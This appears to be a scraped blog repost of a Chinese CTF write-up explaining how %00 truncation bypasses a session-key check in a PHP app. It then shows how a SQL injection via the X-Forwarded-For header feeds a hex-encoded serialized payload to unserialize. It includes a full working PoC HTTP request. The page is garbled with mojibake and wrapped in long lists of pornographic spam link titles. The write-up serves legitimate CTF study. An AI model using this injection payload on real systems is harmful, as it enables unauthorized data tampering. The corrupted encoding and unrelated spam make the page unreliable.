日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

server sql 去 反斜杠_%00截断配合反序列化的奇妙利用

發(fā)布時(shí)間:2024/7/23 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 server sql 去 反斜杠_%00截断配合反序列化的奇妙利用 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章來源:安全客

原文鏈接:%00截?cái)嗯浜戏葱蛄谢钠婷罾?- 安全客,安全資訊平臺

前言

前段時(shí)間做了一個(gè)CTF題目,發(fā)現(xiàn)這道題目相當(dāng)?shù)木?#xff0c;主要是利用了%00的截?cái)鄟砝@過安全校驗(yàn),最終利用反序列化達(dá)成目的。

漏洞分析

可控點(diǎn)

整個(gè)代碼十分的簡單,就是猜數(shù)字的游戲,但是按照正常的邏輯是無法成功的,那么必然存在漏洞。

在config.php中:

foreach ($_GET as $key => $value ) {$_GET[$key] = daddslashes($value); } foreach ($_POST as $key => $value ) {$_POST[$key] = daddslashes($value); } foreach ($_COOKIE as $key => $value ) {$_COOKIE[$key] = daddslashes($value); } foreach ($_SERVER as $key => $value ) {$_SERVER[$key] = addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = daddslashes($val);}} else {$string = addslashes($string);}}return $string; }

對GET、POST、Cookie和SERVER都進(jìn)行了轉(zhuǎn)義。

分析session.class.php代碼:

class session {function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID'){$this->dbConn = $db;$this->session_name = $session_name;$this->session_table = $session_table;$this->_ip = $this->real_ip();// some other codeif ($session_id == '' && !empty($_COOKIE[$this->session_name])){$this->session_id = $_COOKIE[$this->session_name];}// some other codeif ($this->session_id){$this->load_session();}else{$this->gen_session_id();setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));}}function real_ip(){static $realip = NULL;if ($realip !== NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];}elseif (isset($_SERVER['HTTP_CLIENT_IP'])){$realip = $_SERVER['HTTP_CLIENT_IP'];}else{if (isset($_SERVER['REMOTE_ADDR'])){$realip = $_SERVER['REMOTE_ADDR'];}else{$realip = '0.0.0.0';}}}else{$realip = '0.0.0.0';}return $realip;} }

其中,變量$this->_ip是由函數(shù)real_ip()得到,其實(shí)是從$_SERVER['HTTP_X_FORWARDED_FOR']等變量中取到的,意味著變量$_SERVER['HTTP_X_FORWARDED_FOR']是可控的。

變量$this->session_id是從變量$_COOKIE["SESSID"]中得到的,同樣是可控的。

所以目前看到這里,我們已經(jīng)知道了變量$this->_ip和變量$this->session_id都是我們可控的。

漏洞點(diǎn)

發(fā)現(xiàn)在初始化中存在如下代碼:

if ($this->session_id) {$this->load_session(); }

如果存在$this->session_id,則調(diào)用load_session()函數(shù),跟蹤進(jìn)入到load_session()中,進(jìn)一步分析

function load_session() {$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");$session = $res->fetch_array();if (empty($session)){$this->insert_session();}else{$GLOBALS['_SESSION'] = unserialize($session['data']);} }

可以發(fā)現(xiàn),在SQL語句中直接使用了$this->_ip,而這個(gè)$this->_ip是我們可控的,$this->session_id也是可控的,其次最后將數(shù)據(jù)取出來時(shí)使用了unserialize($session['data'])反序列化的操作。

根據(jù)直覺猜解,這個(gè)問題可能和SQL注入以及序列化漏洞有關(guān)。

漏洞利用

根據(jù)上面的猜測,漏洞可能和SQL注入以及序列化相關(guān)。但是漏洞利用均存在一定程度的問題。對于參數(shù)$this->_ip,雖然我們可控,但是還是被'包裹,同時(shí)之前也進(jìn)行了轉(zhuǎn)義,所以如果要利用必須要能夠逃逸出單引號。其次,對于序列化漏洞,需要從$session['data']中讀入數(shù)據(jù),所以要能夠利用序列化漏洞的話,則需要$session['data']的內(nèi)容是可控的。但是通過分析,對于數(shù)據(jù)庫中data表的數(shù)據(jù)我們是不可控的,所以序列化的利用也存在很大的問題了。

其實(shí)問題的本質(zhì)是在于SQL注入漏洞,如果能夠成功地進(jìn)行union注入,也就意味著$session['data']的內(nèi)容是可控的。那么問題就轉(zhuǎn)為了如何進(jìn)行注入了,注入的關(guān)鍵問題是在于逃脫引號。

分析SQL語句SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'

如果$this->_ip無法逃逸出單引號,那么可以考慮一下$this->session_id是否能夠逃逸出單引號。繼續(xù)分析代碼,

$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }

可以發(fā)現(xiàn)使用了substr()方法進(jìn)行了階段,那么是否能夠利用截?cái)嗟姆椒ǖ玫揭粋€(gè)呢?通過一個(gè)例子進(jìn)行說明:

$mystr = "c4ca4238a0b923820dcc509a6f75849'"; $mystr = addslashes($mystr); var_dump($mystr); // 結(jié)果為 c4ca4238a0b923820dcc509a6f75849' (length=33) var_dump(substr($mystr, 0, 32)); //結(jié)果為 c4ca4238a0b923820dcc509a6f75849 (length=32)

說明通過截?cái)嗟姆绞奖A羰强尚械摹?/p>

解決了SQL注入的問題,接下來就需要解決反序列化的問題,序列化是字符串,但是由于之前使用了addslashes進(jìn)行轉(zhuǎn)義,即使能夠使用SQL注入也無法進(jìn)行反序列,此時(shí)需要可以采用十六進(jìn)制來解決這個(gè)問題了。

漏洞實(shí)施

在進(jìn)行實(shí)際的測試時(shí),我發(fā)現(xiàn)通過'會存在問題。當(dāng)我們設(shè)置SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059時(shí),代碼運(yùn)行至:

$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }

其中的$tmp_session_id,截?cái)嘀笞優(yōu)閏4ca4238a0b923820dcc509a6f75849。此時(shí)計(jì)算:

$this->gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this->session_id, 32) // 得到 'eb2d9059

可以看到多余的'被保留了,導(dǎo)致此處的判斷無法相等,這樣就存在問題。后來想到可以使用%00的方式得到

$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00"; $mystr = urldecode($mystr); $mystr = addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)

這樣多余的0就可以作為后面的校驗(yàn)值了。

當(dāng)我們設(shè)置SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457時(shí),運(yùn)行的結(jié)果如下:

這樣就完成了SQL注入的第一步了,下面就是構(gòu)造序列化的內(nèi)容,然后轉(zhuǎn)換為十六進(jìn)制。序列化的內(nèi)容十分的簡單,需要設(shè)置分?jǐn)?shù)大于100份即可,a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";},轉(zhuǎn)換為十六進(jìn)制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。

至此,所有的問題都解決了,最后的PoC為:

GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

注意設(shè)置Cookie和XXF。

總結(jié)

一般的截?cái)嗤ㄟ^是為了保留得到單引號,但是相較于常規(guī)的截?cái)嗍址?#xff0c;你會發(fā)現(xiàn)在本例中完全不適用,無法繞過關(guān)鍵的校驗(yàn)是$this->gen_session_key($tmp_session_id) == substr($this->session_id, 32),同時(shí)在繞過了這個(gè)校驗(yàn)之后還需要保留單引號,最終采用%00截?cái)嗤昝赖亟鉀Q了這個(gè)問題。

這是一道非常好的題目,雖然所有的考察點(diǎn)都知道,但是結(jié)合在一起確實(shí)如此的精妙,遇到了問題看來需要多想多思考,在安全這條路上還有很長的一段路要走。

總結(jié)

以上是生活随笔為你收集整理的server sql 去 反斜杠_%00截断配合反序列化的奇妙利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国精产品一区 | av先锋影音 | 在线视频免费观看一区 | 97综合 | 久久精品9 | 久久久精品综合 | 毛片毛片毛片毛片 | 女王人厕视频2ⅴk | 国产亚洲精品精品精品 | 国产伦精品一区二区三区免费视频 | 国产不卡免费视频 | 国产特级视频 | 国产极品尤物 | 精品免费国产 | 色在线看| 亚洲色p | 国产精品自拍第一页 | 欧美a免费 | 神马影院午夜伦理 | 福利网站在线观看 | 蜜桃精品在线观看 | 久久精品一区二区免费播放 | 手机av电影在线 | 九九九久久久精品 | 91 在线视频 | 自拍偷拍20p | 亚洲欧洲另类 | 欧美一区二区久久 | 黄色三级国产 | 宅男噜噜噜 | 国产成人精品无码免费看夜聊软件 | 爱福利视频一区 | 欧美三根一起进三p | 色牛av| 国产女主播在线 | 欧美jizzhd欧美18| 激情自拍偷拍 | 欧美aa级| 毛片91| 夜夜精品一区二区无码 | 69久久久久 | 亚洲a色| 成人黄色小说在线观看 | 久久香蕉影视 | 91香草视频 | 波多野吉衣av无码 | 在线观看国产精品视频 | 欧美亚洲第一区 | 麻豆国产精品777777在线 | 中文有码在线播放 | 免费人成视频在线 | 激情www| 国产精品视频合集 | 亚洲第一视频在线 | 国产又黄又猛 | 香蕉视频ap | 色妻av| 亚洲色图40p | 波多野结衣一区二区三区四区 | 97精品 | 六月天综合网 | 国产精品视频区 | 久草免费在线 | 超碰人人干| 福利网站在线 | 国产av无码国产av毛片 | 欧美一级免费在线观看 | 亚洲AV不卡无码一区二区三区 | 国产精品国产三级国产Av车上的 | 超碰一区二区 | 噜噜噜色 | 麻豆激情网 | 一级特黄视频 | 国产乱码精品一区二区三区精东 | 亚洲AV无码成人精品一区 | 18禁免费无码无遮挡不卡网站 | 四虎影视免费观看 | 一级做a爰片久久毛片 | 欧美精品videos另类 | 怡红院久久 | 在线视频福利 | 射美女| 成人av电影免费观看 | av一起看香蕉 | 日本欧美一区二区三区不卡视频 | 欧美日韩一区在线观看 | 黄色字幕网 | 欧美女同在线 | 一区精品在线观看 | 国产操比视频 | 麻豆一二三区 | 激情综合网五月婷婷 | a亚洲天堂 | 日本一区二区在线看 | 在线视频毛片 | 免费观看污 | av老司机在线 | 精品一区二区三区免费视频 | www欧美|